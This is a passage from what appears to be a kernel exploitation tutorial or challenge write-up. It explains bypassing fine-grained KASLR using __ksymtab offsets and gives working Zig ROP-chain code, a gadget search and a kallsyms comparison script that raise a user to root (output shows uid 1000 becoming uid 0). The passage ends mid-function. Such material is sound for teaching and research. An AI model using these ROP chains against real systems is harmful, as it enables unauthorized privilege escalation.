[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbw[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mio[0m[1m[37m.[0m[37mbufferedWriter[0m[1m[37m([0m[1m[37mfile[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteByteNTimes[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37mtmp_size[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mcanary[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteByteNTimes[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37m([0m[1m[36m8[0m[1m[36m*[0m[1m[36m3[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mwriter[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mflush[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33munreachable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mwhoami: unknown uid 1000[0m
[1m[37m[INFO] Saved state[0m
[1m[37m[INFO] Canary: 0x10f9df0cd1e27500[0m
[1m[37m[INFO] You won!![0m
[1m[37mwhoami: unknown uid 0[0m
=== [1m[4mKASLR[22m[24m
Time for the final challenge: [1mfine-grained kernel address space
layout randomization[22m (FG-KASLR).
Unlike regular (K)ASLR, a single leak is not enough to find the
addresses of all symbols---we must get more creative to find the
addresses of certain parts of our payload.
Fortunately not all symbols are affected by the fine-grained (or
function granular?) part of KASLR:
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'startup_64'[0m[1m[37m -e [0m[33m'swapgs_restore_regs_and_return_to_usermode'[0m[1m[37m -e [0m[33m'prepare_kernel_cred'[0m[1m[37m -e [0m[33m'commit_creds'[0m[1m[37m[0m
[1m[37mffffffff95200000 T startup_64[0m
[1m[37mffffffff95200030 T secondary_startup_64[0m
[1m[37mffffffff952001f0 T __startup_64[0m
[1m[37mffffffff95400f10 T swapgs_restore_regs_and_return_to_usermode[0m
[1m[37mffffffff95987a80 T commit_creds[0m
[1m[37mffffffff95b00e00 T prepare_kernel_cred[0m
[1m[37mffffffff96187d90 r __ksymtab_commit_creds[0m
[1m[37mffffffff9618d4fc r __ksymtab_prepare_kernel_cred[0m
[1m[37mffffffff961a0972 r __kstrtab_commit_creds[0m
[1m[37mffffffff961a09b2 r __kstrtab_prepare_kernel_cred[0m
[1m[37mffffffff961a4d42 r __kstrtabns_prepare_kernel_cred[0m
[1m[37mffffffff961a4d42 r __kstrtabns_commit_creds[0m
[33m# reboot and run again[0m[1m[37m[0m
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'startup_64'[0m[1m[37m -e [0m[33m'swapgs_restore_regs_and_return_to_usermode'[0m[1m[37m -e [0m[33m'prepare_kernel_cred'[0m[1m[37m -e [0m[33m'commit_creds'[0m[1m[37m[0m
[1m[37mffffffff90000000 T startup_64[0m
[1m[37mffffffff90000030 T secondary_startup_64[0m
[1m[37mffffffff900001f0 T __startup_64[0m
[1m[37mffffffff90200f10 T swapgs_restore_regs_and_return_to_usermode[0m
[1m[37mffffffff90741cf0 T commit_creds[0m
[1m[37mffffffff908b7880 T prepare_kernel_cred[0m
[1m[37mffffffff90f87d90 r __ksymtab_commit_creds[0m
[1m[37mffffffff90f8d4fc r __ksymtab_prepare_kernel_cred[0m
[1m[37mffffffff90fa0972 r __kstrtab_commit_creds[0m
[1m[37mffffffff90fa09b2 r __kstrtab_prepare_kernel_cred[0m
[1m[37mffffffff90fa4d42 r __kstrtabns_prepare_kernel_cred[0m
[1m[37mffffffff90fa4d42 r __kstrtabns_commit_creds[0m
[1m[37mksyms1[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff95200000[0m[1m[37m:[0m[1m[37m [0m[33m"startup_64"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff95200030[0m[1m[37m:[0m[1m[37m [0m[33m"secondary_startup_64"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff952001f0[0m[1m[37m:[0m[1m[37m [0m[33m"__startup_64"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff95400f10[0m[1m[37m:[0m[1m[37m [0m[33m"swapgs_restore_regs_and_return_to_usermode"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff95987a80[0m[1m[37m:[0m[1m[37m [0m[33m"commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff95b00e00[0m[1m[37m:[0m[1m[37m [0m[33m"prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff96187d90[0m[1m[37m:[0m[1m[37m [0m[33m"__ksymtab_commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff9618d4fc[0m[1m[37m:[0m[1m[37m [0m[33m"__ksymtab_prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff961a0972[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtab_commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff961a09b2[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtab_prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff961a4d42[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtabns_prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff961a4d42[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtabns_commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mksyms2[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90000000[0m[1m[37m:[0m[1m[37m [0m[33m"startup_64"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90000030[0m[1m[37m:[0m[1m[37m [0m[33m"secondary_startup_64"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff900001f0[0m[1m[37m:[0m[1m[37m [0m[33m"__startup_64"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90200f10[0m[1m[37m:[0m[1m[37m [0m[33m"swapgs_restore_regs_and_return_to_usermode"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90741cf0[0m[1m[37m:[0m[1m[37m [0m[33m"commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff908b7880[0m[1m[37m:[0m[1m[37m [0m[33m"prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90f87d90[0m[1m[37m:[0m[1m[37m [0m[33m"__ksymtab_commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90f8d4fc[0m[1m[37m:[0m[1m[37m [0m[33m"__ksymtab_prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90fa0972[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtab_commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90fa09b2[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtab_prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90fa4d42[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtabns_prepare_kernel_cred"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0xffffffff90fa4d42[0m[1m[37m:[0m[1m[37m [0m[33m"__kstrtabns_commit_creds"[0m[1m[37m,[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[1m[37mdiff[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m[0m
[1m[37minvariants[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[][0m[1m[37m[0m
[33mfor[0m[1m[37m [0m[1m[37m(([0m[1m[37maddr1[0m[1m[37m,[0m[1m[37m [0m[1m[37msym[0m[1m[37m),[0m[1m[37m [0m[1m[37maddr2[0m[1m[37m)[0m[1m[37m [0m[1m[36min[0m[1m[37m [0m[37mzip[0m[1m[37m([0m[1m[37mksyms1[0m[1m[36m.[0m[1m[37mitems[0m[1m[37m(),[0m[1m[37m [0m[1m[37mksyms2[0m[1m[36m.[0m[1m[37mkeys[0m[1m[37m()):[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37msym[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[33m"startup_64"[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[1m[37mdiff[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37maddr1[0m[1m[36m-[0m[1m[37maddr2[0m[1m[37m[0m
[1m[37m [0m[33melse[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37maddr1[0m[1m[36m-[0m[1m[37maddr2[0m[1m[37m)[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[37mdiff[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[1m[37minvariants[0m[1m[36m.[0m[1m[37mappend[0m[1m[37m([0m[1m[37msym[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[37mprint[0m[1m[37m([0m[33mf[0m[33m"[0m[33m{[0m[1m[37minvariants[0m[33m}[0m[33m left invariant under FG-KASLR"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m['secondary_startup_64', '__startup_64', 'swapgs_restore_regs_and_return_to_usermode', '__ksymtab_commit_creds', '__ksymtab_prepare_kernel_cred', '__kstrtab_commit_creds', '__kstrtab_prepare_kernel_cred', '__kstrtabns_commit_creds'] left invariant under FG-KASLR[0m
[40m[35m`prepare_kernel_cred`[39m[49m and
[40m[35m`commit_creds`[39m[49m are affected by FG-KASLR, but
the KPTI trampoline, [40m[35m`__ksymtab_commit_creds`[39m[49m
and [40m[35m`__ksymtab_prepare_kernel_cred`[39m[49m are fine.
What is [40m[35m`__ksymtab`[39m[49m?
There needs to be some way for kernel modules to be able to see
symbols exported by the kernel or other kernel modules, so ksymtab
[3] is a struct ([1mwhich has an address that is a fixed offset
from the kernel base address[22m) that stores information about a
symbol, such as the address offset relative to the corresponding
ksymtab struct.[^fn:2]
So if we get the address of
[40m[35m`__ksymtab_commit_creds`[39m[49m and then add
[40m[35m`__ksymtab_commit_creds.value_offset`[39m[49m[^fn:3] to
it, we get the address of [40m[35m`commit_creds`[39m[49m.
With that in mind, let's find gadgets to build our payload
(restricting our search to the beginning of the kernel which, as we
observed earlier, is not affected by FG-KASLR, just regular KASLR).
[1m[37mropr --range[0m[1m[36m=[0m[1m[37m0xffffffff81000000-0xffffffff81400dc6 -R [0m[33m'^(pop rdi;|pop rax;|pop rbx;|pop rdx;|push rax;|mov eax, \[rax+.{3,5}\]; .*|add (r|e)ax, (r|e)di;) ret;'[0m[1m[37m vmlinux[0m
[1m[37m0xffffffff81004aae: mov eax, [rax+0x10]; pop rbp; ret;[0m
[1m[37m0xffffffff81004d11: pop rax; ret;[0m
[1m[37m0xffffffff81006123: push rax; ret;[0m
[1m[37m0xffffffff810075d0: pop rbx; ret;[0m
[1m[37m0xffffffff81007616: pop rdx; ret;[0m
[1m[37m0xffffffff8100767c: pop rdi; ret;[0m
[1m[37m0xffffffff8100dad3: mov eax, [rax+0xe0]; pop rbp; shr eax, 1; and eax, 1; ret;[0m
[1m[37m0xffffffff81012551: add rax, rdi; ret;[0m
[1m[37m0xffffffff81012552: add eax, edi; ret;[0m
I couldn't find a way to move the result of
[40m[35m`prepare_kernel_cred(0)`[39m[49m into [40m`rdi`[49m
with the gadgets we have to work with, so I opted to split the
payload into 2 pieces.
[33mvar[0m[1m[37m [0m[1m[37mPOP_RDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8100767c[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RAX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81004d11[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RBX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff810075d0[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RDX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81007616[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPUSH_RAX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81006123[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mMOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81004aae[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mADD_RAX_RDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81012551[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mADD_EAX_EDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81012552[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81200f26[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mKSYMTAB_PREPARE_KERNEL_CRED[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81f8d4fc[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mKSYMTAB_COMMIT_CREDS[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81f87d90[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mropchain1[0m[1m[37m([0m[1m[37mwriter[0m[1m[36m:[0m[1m[37m [0m[1m[37manytype[0m[1m[37m,[0m[1m[37m [0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m,[0m[1m[37m [0m[1m[37mcanary[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mKSYMTAB_PREPARE_KERNEL_CRED[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mKSYMTAB_PREPARE_KERNEL_CRED[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mADD_EAX_EDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m([0m[1m[37mKSYMTAB_PREPARE_KERNEL_CRED[0m[1m[37m [0m[1m[36m>>[0m[1m[37m [0m[1m[36m32[0m[1m[37m)[0m[1m[37m [0m[1m[36m<<[0m[1m[37m [0m[1m[36m32[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mADD_RAX_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPUSH_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RBX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[37m@as[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[37m@intCast[0m[1m[37m([0m[1m[37mfd[0m[1m[37m)),[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mcanary[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[37m@intFromPtr[0m[1m[37m([0m[1m[36m&[0m[1m[37mret2ROP[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_cs[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rflags[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rsp[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_ss[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}));[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mret2ROP[0m[1m[37m()[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mcreds[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33masm[0m[1m[37m [0m[33mvolatile[0m[1m[37m([0m[33m""[0m[1m[37m [0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[37mret[0m[1m[37m][0m[1m[37m [0m[33m"={rax}"[0m[1m[37m [0m[1m[37m([0m[1m[36m->[0m[1m[37m [0m[1m[36mu64[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33masm[0m[1m[37m [0m[33mvolatile[0m[1m[37m([0m[33m""[0m[1m[37m [0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[37mfd[0m[1m[37m][0m[1m[37m [0m[33m"={rbx}"[0m[1m[37m [0m[1m[37m([0m[1m[36m->[0m[1m[37m [0m[1m[36mu64[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mcanary[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33masm[0m[1m[37m [0m[33mvolatile[0m[1m[37m([0m[33m""[0m[1m[37m [0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[37mcanary[0m[1m[37m][0m[1m[37m [0m[33m"={rdx}"[0m[1m[37m [0m[1m[37m([0m[1m[36m->[0m[1m[37m [0m[1m[36mu64[0m[1m[37m));[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[37mrunROPChain[0m[1m[37m([0m[37m@as[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m,[0m[1m[37m [0m[37m@intCast[0m[1m[37m([0m[1m[37mfd[0m[1m[37m)),[0m[1m[37m [0m[1m[37mcanary[0m[1m[37m,[0m[1m[37m [0m[1m[37mcreds[0m[1m[37m)[0m[1m[37m [0m[33mcatch[0m[1m[37m [0m[33munreachable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33munreachable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mropchain2[0m[1m[37m([0m[1m[37mwriter[0m[1m[36m:[0m[1m[37m [0m[1m[37manytype[0m[1m[37m,[0m[1m[37m [0m[1m[37mcreds_addr[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mKSYMTAB_COMMIT_CREDS[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mKSYMTAB_COMMIT_CREDS[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mADD_EAX_EDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m([0m[1m[37mKSYMTAB_COMMIT_CREDS[0m[1m[37m [0m[1m[36m>>[0m[1m[37m [0m[1m[36m32[0m[1m[37m)[0m[1m[37m [0m[1m[36m<<[0m[1m[37m [0m[1m[36m32[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mADD_RAX_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mcreds_addr[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPUSH_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[37m@intFromPtr[0m[1m[37m([0m[1m[36m&[0m[1m[37mret2win[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_cs[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rflags[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rsp[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_ss[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}));[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mROPChain[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33munion[0m[1m[37m([0m[33menum[0m[1m[37m)[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mcanary[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mcreds_addr[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m,[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mrunROPChain[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m,[0m[1m[37m [0m[1m[37mcanary[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mcreds_addr[0m[1m[36m:[0m[1m[37m [0m[1m[36m?[0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfile[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfs[0m[1m[37m.[0m[1m[37mFile[0m[1m[37m{[0m[1m[37m [0m[1m[37m.[0m[1m[37mhandle[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[37m}).[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbw[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mio[0m[1m[37m.[0m[37mbufferedWriter[0m[1m[37m([0m[1m[37mfile[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteByteNTimes[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37mtmp_size[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mcanary[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteByteNTimes[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37m([0m[1m[36m8[0m[1m[36m*[0m[1m[36m3[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37mcreds_addr[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mcaddr[0m[1m[36m|[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37mropchain2[0m[1m[37m([0m[1m[37mwriter[0m[1m[37m,[0m[1m[37m [0m[1m[37mcaddr[0m[1m[37m);[0m[1m[37m[0m
